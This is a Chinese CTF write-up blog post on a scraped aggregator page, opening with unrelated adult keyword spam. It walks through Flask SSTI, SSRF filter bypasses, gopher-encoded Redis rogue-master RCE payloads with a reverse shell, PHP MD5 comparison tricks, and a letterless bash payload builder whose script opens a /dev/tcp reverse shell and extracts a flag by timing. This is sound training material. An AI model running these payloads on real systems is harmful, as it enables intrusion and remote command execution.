日韩性视频-久久久蜜桃-www中文字幕-在线中文字幕av-亚洲欧美一区二区三区四区-撸久久-香蕉视频一区-久久无码精品丰满人妻-国产高潮av-激情福利社-日韩av网址大全-国产精品久久999-日本五十路在线-性欧美在线-久久99精品波多结衣一区-男女午夜免费视频-黑人极品ⅴideos精品欧美棵-人人妻人人澡人人爽精品欧美一区-日韩一区在线看-欧美a级在线免费观看

歡迎訪問 生活随笔!

生活随笔

當(dāng)前位置: 首頁 > 编程资源 > 编程问答 >内容正文

编程问答

一周刷题记录 | WebMisc

發(fā)布時(shí)間:2024/9/30 编程问答 33 豆豆
生活随笔 收集整理的這篇文章主要介紹了 一周刷题记录 | WebMisc 小編覺得挺不錯(cuò)的,現(xiàn)在分享給大家,幫大家做個(gè)參考.

文章目錄

  • BUU
    • 0x00:[WesternCTF2018]shrine
    • 0x01:[網(wǎng)鼎杯 2020 玄武組]SSRFMe
  • HECTF
    • 0x00 ezphp
    • 0x01:ssrfme
    • 0x03:簽到
  • 2020 安洵杯
    • 0x00:Bash
    • 0x01:王牌特工


BUU

每天一道題,沖沖沖!


0x00:[WesternCTF2018]shrine

首頁便給了一段flask代碼,簡單分析一下

import flask import osapp = flask.Flask(__name__)app.config['FLAG'] = os.environ.pop('FLAG')@app.route('/') def index():return open(__file__).read()@app.route('/shrine/<path:shrine>') def shrine(shrine):def safe_jinja(s):s = s.replace('(', '').replace(')', '')blacklist = ['config', 'self']return ''.join(['{{% set {}=None%}}'.format(c) for c in blacklist]) + sreturn flask.render_template_string(safe_jinja(shrine))if __name__ == '__main__':app.run(debug=True)

發(fā)現(xiàn)這一段代碼

app.config['FLAG'] = os.environ.pop('FLAG') #pop() 函數(shù)用于移除列表中的一個(gè)元素(默認(rèn)最后一個(gè)元素),并且返回該元素的值。


意思便是該題將FLAG存儲到了配置變量中,但下面的代碼過濾了config以及()

這個(gè)題考察的是SSTI,那下面就要想辦法去使用config查看所有應(yīng)用程序的配置值(FLAG值應(yīng)該包含在其中),需要構(gòu)造一個(gè)和config作用相同的payload,可以使用flask兩個(gè)內(nèi)置函數(shù)進(jìn)行構(gòu)造

  • url_for() – 用于反向解析,生成url
  • get_flashed_messages() – 用于獲取flash消息
  • 先尋找一下全部全局變量

    {{url_for.__globals__}} {{get_flashed_messages.__globals__}}


    發(fā)現(xiàn)有current_app全局變量,查看一下config

    {{url_for.__globals__['current_app'].config}} {{get_flashed_messages.__globals__['current_app'].config}} {{url_for.__globals__['current_app'].config['FLAG']}}

    0x01:[網(wǎng)鼎杯 2020 玄武組]SSRFMe

    <?php function check_inner_ip($url) {$match_result=preg_match('/^(http|https|gopher|dict)?:\/\/.*(\/)?.*$/',$url);if (!$match_result){die('url fomat error');}try{$url_parse=parse_url($url);}catch(Exception $e){die('url fomat error');return false;}$hostname=$url_parse['host'];$ip=gethostbyname($hostname);$int_ip=ip2long($ip);return ip2long('127.0.0.0')>>24 == $int_ip>>24 || ip2long('10.0.0.0')>>24 == $int_ip>>24 || ip2long('172.16.0.0')>>20 == $int_ip>>20 || ip2long('192.168.0.0')>>16 == $int_ip>>16; }function safe_request_url($url) {if (check_inner_ip($url)){echo $url.' is inner ip';}else{$ch = curl_init();curl_setopt($ch, CURLOPT_URL, $url);curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);curl_setopt($ch, CURLOPT_HEADER, 0);$output = curl_exec($ch);$result_info = curl_getinfo($ch);if ($result_info['redirect_url']){safe_request_url($result_info['redirect_url']);}curl_close($ch);var_dump($output);}} if(isset($_GET['url'])){$url = $_GET['url'];if(!empty($url)){safe_request_url($url);} } else{highlight_file(__FILE__); } // Please visit hint.php locally. ?>

    這么長的代碼,拆開來看,先看一下check_inner_ip函數(shù)

    輸入的需要匹配到http|https|gopher|dict,下面了解這幾個(gè)函數(shù),就清楚這段代碼所要表達(dá)的意思了

    • parse_url:解析 URL,返回其組成部分
    • gethostbyname:返回主機(jī)名對應(yīng)的 IPv4地址
    • ip2long:將 IPV4 的字符串互聯(lián)網(wǎng)協(xié)議轉(zhuǎn)換成長整型數(shù)字

    再來查看safe_request_url函數(shù)要表達(dá)的意思,先判斷是否是內(nèi)網(wǎng)IP,如果不是,再跳轉(zhuǎn)到下面。

    • curl_init — 初始化一個(gè)cURL會話
    • curl_setopt — 設(shè)置一個(gè)cURL傳輸選項(xiàng)
    • curl_exec — 執(zhí)行一個(gè)cURL會話
    • curl_getinfo — 獲取一個(gè)cURL連接資源句柄的信息


    也是一種PHP的請求方式,那這存在什么漏洞那?

    可以看篇文章
    https://www.anquanke.com/post/id/86527
    這個(gè)代碼出現(xiàn)漏洞原因便在于,同時(shí)用了cURL和parse_url

    所有的問題,幾乎都是由URL解析器和請求函數(shù)的不一致造成的,即使有具體的規(guī)定,但是不同的編程語言仍然使用他們自己的實(shí)現(xiàn)

    在cURL作為請求的實(shí)施者時(shí),它最終將evil.com:80作為了目標(biāo)
    而其他的幾種URL解析器則得到了不一樣的結(jié)果,則產(chǎn)生了不一致。
    當(dāng)他們被一起使用時(shí),可以被利用的有如下的幾種組合

    所以可以就構(gòu)造payload,利用cURL請求外網(wǎng),利用parse_url請求內(nèi)網(wǎng)信息

    ?url=http://1em9n@0.0.0.0/hint.php

    0.0.0.0代表本機(jī)ipv4的所有地址,使用ip2long函數(shù)處理后也是0,因此可以繞過去check_inner_ip函數(shù)的檢測。

    繞過去之后便發(fā)現(xiàn)這一段代碼

    得到redis的密碼是root,這道題考察的是ssrf+redis getshell,但之前接觸這方面的題過于少了,所以到這里是一點(diǎn)思路都沒有

    看了師傅們的WP,遇到ssrf+redis getshell這種的,考察一般都是以下幾種姿勢:

    • 可寫webshell
    • 寫ssh公鑰
    • 寫crontab反彈shell(僅限centos)
    • 主從復(fù)制RCE

    這道題看師傅們的WP,用的方法都是主從復(fù)制RCE,什么是主從復(fù)制那?

    主從復(fù)制,是指將一臺Redis服務(wù)器的數(shù)據(jù),復(fù)制到其他的Redis服務(wù)器。前者稱為主節(jié)點(diǎn)(master),后者稱為從節(jié)點(diǎn)(slave);數(shù)據(jù)的復(fù)制是單向的,只能由主節(jié)點(diǎn)到從節(jié)點(diǎn)。
    在redis4.0版本以上,可以進(jìn)行主從復(fù)制,主從復(fù)制是為了備份文件,即主機(jī)復(fù)制寫,從機(jī)負(fù)責(zé)讀。思路就是開啟惡意服務(wù),讓靶機(jī)redis認(rèn)為此為redis服務(wù)器,利用主從復(fù)制,將惡意構(gòu)造的exp.so文件加載到redis之中,從而實(shí)現(xiàn)getshll或命令執(zhí)行


    https://github.com/xmsec/redis-ssrf
    https://github.com/n0b0dyCN/redis-rogue-server
    要進(jìn)行主從復(fù)制RCE,就需要利用到這兩個(gè)工具,第一個(gè)用于生成payload,也可以啟動惡意服務(wù),第二個(gè)主要是exp.so。注意需要將第二個(gè)工具exp.so導(dǎo)入到第一個(gè)工具下,也就是和rogue-server.py同目錄,這里先開啟一下rogue-server.py 用于偽裝為主redis,它開啟的端口為6666


    修改ssrf-redis.py



    運(yùn)行一下

    生成了payload,但無法利用

    看了師傅們的WP,就手動去構(gòu)造吧,然后再進(jìn)行二次url編碼(因?yàn)橛玫搅薱url)

    gopher://0.0.0.0:6379/_auth%2520root%250d%250aconfig%2520set%2520dir%2520/tmp/%250d%250aquit #解碼后即為 gopher://0.0.0.0:6379/_auth root config set dir /tmp/ quit //設(shè)置備份文件路徑為/tmp/ 只有/tmp有權(quán)限 ,只需要有讀權(quán)限即可,所以設(shè)置目錄的時(shí)候要多試試

    gopher://0.0.0.0:6379/_auth%2520root%250d%250aconfig%2520set%2520dbfilename%2520exp.so%250d%250aslaveof%2520172.16.176.127%25206666%250d%250aquit #解碼后即為 gopher://0.0.0.0:6379/_auth root config set dbfilename exp.so slaveof 172.16.176.127 6666 quit #設(shè)置備份文件名為:exp.so


    gopher://0.0.0.0:6379/_auth%2520root%250d%250amodule%2520load%2520/tmp/exp.so%250d%250asystem.rev%2520172.16.176.127%25206663%250d%250aquit #解碼后即為 gopher://0.0.0.0:6379/_auth root module load /tmp/exp.so system.rev 172.16.176.127 6663 quit #導(dǎo)入 exp.so ,反彈shell到172.16.176.127:6663



    通過這道題學(xué)到了很多東西,ssrf+redis的考法還有很多種,會在另一篇博客中專門總結(jié)一下。

    參考博客
    https://www.jianshu.com/p/a940731cddaf

    HECTF

    0x00 ezphp


    第一個(gè)if條件,md5強(qiáng)類型,沒有強(qiáng)制限制類型,所有用數(shù)組就可以

    param1[]=123&param2[]=111

    strtr() 函數(shù)轉(zhuǎn)換字符串中特定的字符。
    自己本地測試一下就知道了

    第一個(gè)if($md5_1 != $md5_2)不能使用hash弱類型比較,經(jīng)過strtr() 函數(shù)替換之后,再使用hash弱類型繞過,既然這個(gè)函數(shù)可以將md5中出現(xiàn)的cxhp給替換成0123,第一個(gè)參數(shù)找一個(gè)數(shù)字(必須為全數(shù)字),md5加密后只要是ce開頭的即可

    payload:

    http://121.196.32.184:8081/?param1[]=123&param2[]=111&str1=2120624&str2=QNKCDZO


    這里在寫腳本找ce開頭的數(shù)字時(shí)挺有趣的
    md5加密之后只可能含有以下a、b、c、d、e、f這個(gè)幾個(gè)字符
    在寫腳本的時(shí)候,一開始只認(rèn)為只要開頭是0e即可,但是測試發(fā)現(xiàn)行不通,明明也是0e開頭,為什么不相等那?如:


    并沒有出現(xiàn)我們想要的flag,一開始以為是位數(shù)的問題,結(jié)果不是,觀察了通用的Hash 比較缺陷,有一個(gè)共同的特征

    后面都是數(shù)字,不包含字母,才能使用科學(xué)計(jì)數(shù)法進(jìn)行弱類型比較

    import hashlib def md5(f):return hashlib.md5(f).hexdigest() for i in range(0, 10000000):if 'c' in md5(str(i))[0:2]:if 'a' not in md5(str(i))[2:]:if 'b' not in md5(str(i))[2:]:if 'e' not in md5(str(i))[2:]:if 'd' not in md5(str(i))[2:]:if 'f' not in md5(str(i))[2:]:print 'i:' + str(i) + ' md5:' + md5(str(i))

    0x01:ssrfme


    正則表達(dá)式限制我們不能使用SSRF file_get_content函數(shù)的黑魔法了,那只能按照http或https協(xié)議來,然后下面有一個(gè)異常處理代碼,如果發(fā)生異常則返回flase,恰好最后一段代碼有一個(gè)!,所以我們只要讓代碼異常拋出即可利用函數(shù)讀取flag。

    但這個(gè)異常不知道要如何利用,往下面看發(fā)現(xiàn)可以從這段代碼中得到flase

    return ip2long('127.0.0.0')>>24 == $int_ip>>24 || ip2long('10.0.0.0')>>24 == $int_ip>>24 || ip2long('172.16.0.0')>>20 == $int_ip>>20 || ip2long('192.168.0.0')>>16 == $int_ip>>16;

    只要滿足傳入的地址經(jīng)過ip2long函數(shù)處理后和前面不相等即可

    簡單了解這幾個(gè)函數(shù)的作用:

    • parse_url:解析 URL,返回其組成部分
    • gethostbyname:返回主機(jī)名對應(yīng)的 IPv4地址
    • ip2long:將 IPV4 的字符串互聯(lián)網(wǎng)協(xié)議轉(zhuǎn)換成長整型數(shù)字

    0.0.0.0代表本機(jī)ipv4的所有地址,使用ip2long函數(shù)處理后也是0,便可以使用這個(gè)進(jìn)行讀取flag

    payload:

    ?url=http://0.0.0.0/flag.php

    0x03:簽到

    源代碼給出手機(jī)號,下面就是爆破驗(yàn)證碼

    得到驗(yàn)證碼之后重置密碼,登陸即可獲取flag

    2020 安洵杯

    0x00:Bash

    代碼也很簡單,命令執(zhí)行,但是構(gòu)造payload只能使用這幾個(gè)${#}\\(<)\去構(gòu)造,還是做題少,之前見的無字母數(shù)字構(gòu)造webshell的都不行,只能看官方的WP。

    先了解幾個(gè)Shell符號

  • $# => 0
  • $# 的意思是參數(shù)的個(gè)數(shù),這道題沒有其余的參數(shù)所以會是 0
    stdin是標(biāo)準(zhǔn)輸入,一般指鍵盤輸入到緩沖區(qū)里的東西
    <<< 的用途是將任意字符串交由前面的指令執(zhí)行

  • $(($#<$$)) => 1
  • (())表示整數(shù)擴(kuò)展,只是執(zhí)行,并不會返回值,$$ 代表的是目前的 pid ,pid 會 > 0 所以可以得到 1,${##} 也可以得到1

  • $((1<<1)) => 2
  • <<雙小于號,用來將后繼的內(nèi)容重定向到左側(cè)命令的stdin中

  • $((2#bbb)) => 任意數(shù)字
  • 將 bbb 以二進(jìn)制制轉(zhuǎn)換成數(shù)字,其中2#表示二進(jìn)制
    命令替換: $(command)
    算術(shù)擴(kuò)展: $((arithmetic))
    stdin重定向: command < file
    stdin文字重定向: command <<< text
    可變的字符串長度: ${#variable}
    bash的參數(shù)數(shù)量: $#
    bash進(jìn)程ID: $$

    Linux下高效編寫Shell——shell特殊字符匯總
    因?yàn)閎ash 可以用 $'\ooo' 的形式來表達(dá)任意字節(jié)(ooo 是字節(jié)轉(zhuǎn)ascii 的八進(jìn)制),所以可以執(zhí)行任意命令

    ${!#}<<<$'\154\163'

    ${!#}<<<${!#}\<\<\<\$\'\\${##}$#${##}\' 也就是 $0<<<$'\101' 101是A的ASCII碼值,所以也是在嘗試執(zhí)行命令A(yù)


    所以思路就是構(gòu)造二進(jìn)制,然后通過ASCII碼轉(zhuǎn)化得到所有字母,比如:

    $'\154' ${!#}<<<$((2#${##}$#$#${##}${##}$#${##}$#)) #2#表示二進(jìn)制,再替換掉2 ${!#}<<<$(($((${##}<<${##}))#${##}$#$#${##}${##}$#${##}$#)) $'\163' ${!#}<<<$(($((${##}<<${##}))#${##}$#${##}$#$#$#${##}${##}))

    所以構(gòu)造payload

    #通過2進(jìn)制得到所有的數(shù)字,八進(jìn)制可以執(zhí)行命令,所以得到七個(gè)數(shù)字即可 n = dict() n[0] = '$#' n[1] = '${##}' n[2] = '$((${##}<<${##}))' n[3] = '$(($((${##}<<${##}))#${##}${##}))' n[4] = '$(($((${##}<<${##}))<<${##}))' n[5] = '$(($((${##}<<${##}))#${##}$#${##}))' n[6] = '$(($((${##}<<${##}))#${##}${##}$#))' n[7] = '$(($((${##}<<${##}))#${##}${##}${##}))'

    因?yàn)檫@道題0也在白名單中,所以可以將$#直接替換為0也可以,但還有一個(gè)問題,仔細(xì)看前面舉的$'\154'這個(gè)例子,如果bash直接解析的話是l,但是第一次解析的話只是數(shù)字

    所以轉(zhuǎn)換成數(shù)字之后就需要用到 <<< 來重定向了,但是一層不夠,只用一層會出現(xiàn) bash: $'\154': command not found 這樣的報(bào)錯(cuò),bash一次解析只能解析到成數(shù)字,需要第二次解析。需要給原先的命令添加轉(zhuǎn)義字符

    如:ls \ $0<<<$0\<\<\<\$\'\\${##}$(($((${##} <<${##}))#${##}0${##}))$((${##}<<$((${##}<<${##}))))\\${##}$(($((${##} <<${##}))#${##}${##}0))$(($((${##}<<${##}))#${##}${##}))\\$((${##}<<$((${##} <<${##}))))0\\$(($((${##}<<${##}))#${##}0${##}))$(($((${##}<<${##}))#${##}${##}${##}))\'


    無命令回顯就用最常見的方法,反彈shell或者是盲注,記錄一下師傅的腳本

    import requests n = dict() n[0] = '0' n[1] = '${##}' n[2] = '$((${##}<<${##}))' n[3] = '$(($((${##}<<${##}))#${##}${##}))' n[4] = '$((${##}<<$((${##}<<${##}))))' n[5] = '$(($((${##}<<${##}))#${##}0${##}))' n[6] = '$(($((${##}<<${##}))#${##}${##}0))' n[7] = '$(($((${##}<<${##}))#${##}${##}${##}))'f=''def str_to_oct(cmd): #命令轉(zhuǎn)換成八進(jìn)制字符串s = ""for t in cmd:o = ('%s' % (oct(ord(t))))[2:]s+='\\'+oreturn sdef build(cmd): #八進(jìn)制字符串轉(zhuǎn)換成字符payload = "$0<<<$0\<\<\<\$\\\'"s = str_to_oct(cmd).split('\\')for _ in s[1:]:payload+="\\\\"for i in _:payload+=n[int(i)]return payload+'\\\''def get_flag(url,payload): #盲注函數(shù)try:data = {'cmd':payload}r = requests.post(url,data,timeout=1.5)except:return Truereturn False#彈shell ''' url = "http://121.41.231.75:7001/" get_flag(url,(build('bash -i >& /dev/tcp/121.41.231.75/4444 0>&1'))) '''#盲注 # ''' a='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890_{}@' for i in range(1,50):for j in a:cmd=f'cat /flag|grep ^{f+j}&&sleep 3'url = "http://121.41.231.75:7001/"if get_flag(url,build(cmd)):breakf = f+jprint(f) #'''

    0x01:王牌特工


    第一眼看到的是flagbox,然后就binwalk一下,得到一個(gè)key值,使用VeraCrypt掛載一下硬盤

    但是是假的,回過頭看一下發(fā)現(xiàn)還有coolboy.swp沒有進(jìn)行分析,應(yīng)該是隱藏在這里

    先用 fsstat findme 查看鏡像信息

    然后用 ext3grep --inode 2 findme 查看文件目錄

    接著用 ext3grep --restore-file .coolboy.swp findme 恢復(fù)指定的文件


    但是是空的,使用vim -r RESTORED_FILES/.coolboy.swp 恢復(fù)它的內(nèi)容。

    得到真正的key值,再重新掛載flagbox,即可得到flag

    總結(jié)

    以上是生活随笔為你收集整理的一周刷题记录 | WebMisc的全部內(nèi)容,希望文章能夠幫你解決所遇到的問題。

    如果覺得生活随笔網(wǎng)站內(nèi)容還不錯(cuò),歡迎將生活随笔推薦給好友。